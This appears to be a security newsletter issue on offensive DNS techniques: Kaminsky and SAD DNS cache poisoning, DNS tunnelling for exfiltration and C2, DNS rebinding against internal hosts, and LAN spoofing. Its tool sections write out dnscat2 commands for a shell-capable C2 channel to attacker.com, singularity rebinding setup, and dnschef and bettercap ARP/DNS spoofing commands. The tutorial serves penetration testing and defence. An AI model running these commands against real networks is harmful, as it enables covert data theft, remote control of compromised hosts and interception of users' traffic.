DNS as a Weapon: Poisoning, Tunneling, and Rebinding
7 min read
April 5, 2026

Table of contents
👋 Introduction
Hey everyone!
Two weeks of web security behind us. This week we go back to the network layer, to the protocol that holds everything together.
DNS is never blocked. Firewalls allow it through because nothing works without it. That makes it the preferred covert channel for APTs doing exfiltration and C2, the attack surface for cache poisoning that redirects entire domains, and the mechanism behind DNS rebinding, which turns browsers into proxies against internal networks. If you’re on an engagement and need to get data out of a network that filters everything else, DNS is usually the answer.
If you use DNS recon as part of your methodology, and you should, we covered the tooling in Issue 36. This issue covers the offensive side of the same protocol.
Let’s get into it 👇
🔍 DNS Cache Poisoning: The Kaminsky Attack
The Kaminsky attack (2008) is the foundational DNS cache poisoning technique. Here’s the mechanic.
A DNS resolver caches responses to avoid repeated lookups. If an attacker gets a forged response into the cache before the legitimate one arrives, every user of that resolver gets redirected. The trick Kaminsky added: instead of attacking a cached record directly, query a random subdomain the resolver hasn’t seen (random-xyz.bank.com). The resolver makes a fresh outbound query. You flood it with forged responses containing not just a fake A record for the random subdomain, but a poisoned NS record redirecting the entire bank.com zone to your nameserver.
The only entropy protecting against brute-force was a 16-bit transaction ID, 65,535 possibilities. The fix was source port randomization, adding another ~16 bits. That fix held for twelve years.
🐛 SAD DNS: Poisoning With a Side Channel
SAD DNS (CVE-2020-25705) was presented at ACM CCS 2020. The full paper is available from the author’s faculty page: DNS Cache Poisoning Attack Reloaded.
The problem after source port randomization: you now need to guess a 32-bit value (port + TXID), roughly 4 billion combinations. SAD DNS breaks this using ICMP error messages as a side channel.
When you send a UDP packet to a closed port, the OS responds with an ICMP “port unreachable” message. By sending probes to the resolver and observing which ones trigger ICMP responses, you infer the active source port. Now you only need to guess the 16-bit TXID. Back to Kaminsky-level difficulty.
The mitigation is encrypted DNS (DoH or DoT), which eliminates the UDP surface entirely. Linux 5.10+ includes kernel patches that randomize ICMP behavior to defeat the side channel. If you’re on an internal assessment and the DNS resolver is an older Linux box accepting cleartext UDP queries, this technique is worth testing.
📡 DNS Exfiltration and C2
DNS is the covert channel of choice because it’s almost never blocked and rarely inspected at the payload level. MITRE ATT&CK T1071.004 documents confirmed use by OilRig (APT34), Cobalt Group, APT32, and BRONZE BUTLER.
The mechanic: encode data as subdomain labels in DNS queries. Base32 encoding uses only alphanumeric characters and hyphens, which are DNS-safe. Each label carries up to 63 characters, and the full FQDN up to 253, so you chain queries for larger payloads. Your authoritative nameserver receives every query and reconstructs the data from the subdomain sequence.
dnscat2 is the standard tool. It creates an encrypted C2 channel over DNS supporting shell sessions, port forwarding, and file transfer.
# Server (on your VPS, authoritative for attacker.com)
ruby dnscat2.rb attacker.com
# Client (on compromised host)
./dnscat --dns server=<ns-ip>,port=53 attacker.com
# Direct UDP mode (faster, less stealthy)
./dnscat --host <server-ip>
Authoritative mode routes queries through public DNS infrastructure. Slower, but the traffic blends with normal resolution patterns and is difficult to block without breaking DNS entirely. The channel is encrypted with ECDH + Salsa20, so deep packet inspection won’t reveal the payload content.
Detection for defenders requires DNS logging at the resolver level and anomaly detection on query volume, subdomain entropy, and label length. Most enterprise environments don’t have this in place.
🔄 DNS Rebinding: Bypassing the Same-Origin Policy
DNS rebinding turns a victim’s browser into a proxy against their own internal network. It bypasses the Same-Origin Policy without violating it, which is the interesting part.
Here’s how it works:
- Victim visits
attacker.com. Your DNS responds with your server’s IP. TTL: 1 second. - Browser loads your JavaScript page.
- TTL expires. Your DNS now resolves
attacker.comto an internal IP:192.168.1.1. - Your JavaScript makes a fetch to
attacker.com/api. The origin is stillattacker.com, so the browser allows it. The DNS lookup now returns192.168.1.1. The request goes to the internal router. - The router responds. Your script reads its admin interface.
SOP was never broken. The origin didn’t change. Only the resolved IP did.
Real targets: internal routers, IoT admin panels, Kubernetes dashboards, cloud metadata at http://169.254.169.254. If you’ve found an SSRF vulnerability that doesn’t reach internal services directly, check whether DNS rebinding can bridge the gap. We covered SSRF in Issue 4 and DNS rebinding achieves similar internal access but entirely from the client side, with no server-side vulnerability required.
singularity by NCC Group is the maintained rebinding toolkit. It includes a custom DNS server, HTTP server, and ready-made payloads for Docker, Kubernetes, Jenkins, Elasticsearch, and others.
git clone https://github.com/nccgroup/singularity
cd singularity/cmd/singularity-server
go build
./singularity-server --DNSrebindFromIP <your-ip> --DNSrebindToIP 192.168.1.1
🛠 Tools
dnschef is a configurable DNS proxy for pentest environments. It fakes responses for A, AAAA, MX, CNAME, NS, and PTR records for specified domains while forwarding everything else to a legitimate resolver.
# Respond to target.com with 127.0.0.1, forward everything else
python dnschef.py --fakeip 127.0.0.1 --fakedomains target.com
bettercap combines ARP poisoning with DNS spoofing for LAN-based attacks. Position yourself as the gateway via ARP, then spoof DNS responses for specific domains.
# In bettercap interactive mode
net.probe on
set dns.spoof.domains target.com
set dns.spoof.address 192.168.1.100
dns.spoof on
arp.spoof on
🎯 Key Takeaways
DNS cache poisoning is a network-level attack against infrastructure that everyone trusts implicitly. Kaminsky made TXID brute-force feasible. SAD DNS added a side channel to defeat source port randomization and brought the attack back into practical range. The reliable mitigation is encrypted DNS (DoH or DoT), but deployment is inconsistent. On an internal assessment where you’re positioned to influence DNS traffic, a poisoned resolver redirects every user behind it.
DNS exfiltration works because DNS is never blocked. dnscat2 with authoritative mode is difficult to distinguish from legitimate DNS traffic without resolver-level logging and entropy analysis. When every other egress path is filtered, try DNS.
DNS rebinding is consistently underestimated. It bypasses SOP, works entirely from the victim’s browser, requires no server-side vulnerability, and reaches any internal host the victim’s machine can connect to. singularity handles the infrastructure. If you can get a user to visit a page, their internal network may be accessible.
Practice:
- dnscat2 GitHub - encrypted C2 over DNS with shell, port forwarding, and file transfer
- singularity GitHub - DNS rebinding toolkit by NCC Group with ready-made payloads
- dnschef GitHub - configurable DNS proxy for domain-specific response spoofing
- bettercap GitHub - ARP + DNS spoofing for LAN-based MITM
- MITRE ATT&CK T1071.004: DNS - documented APT groups using DNS C2
- SAD DNS paper (CCS 2020) - full technical paper on ICMP side-channel cache poisoning
- BIND 9 Security Configurations - DNS hardening reference: DNSSEC, TSIG, RPZ, rate limiting
- TryHackMe: DNS in Detail - DNS fundamentals prerequisite
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
Next Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.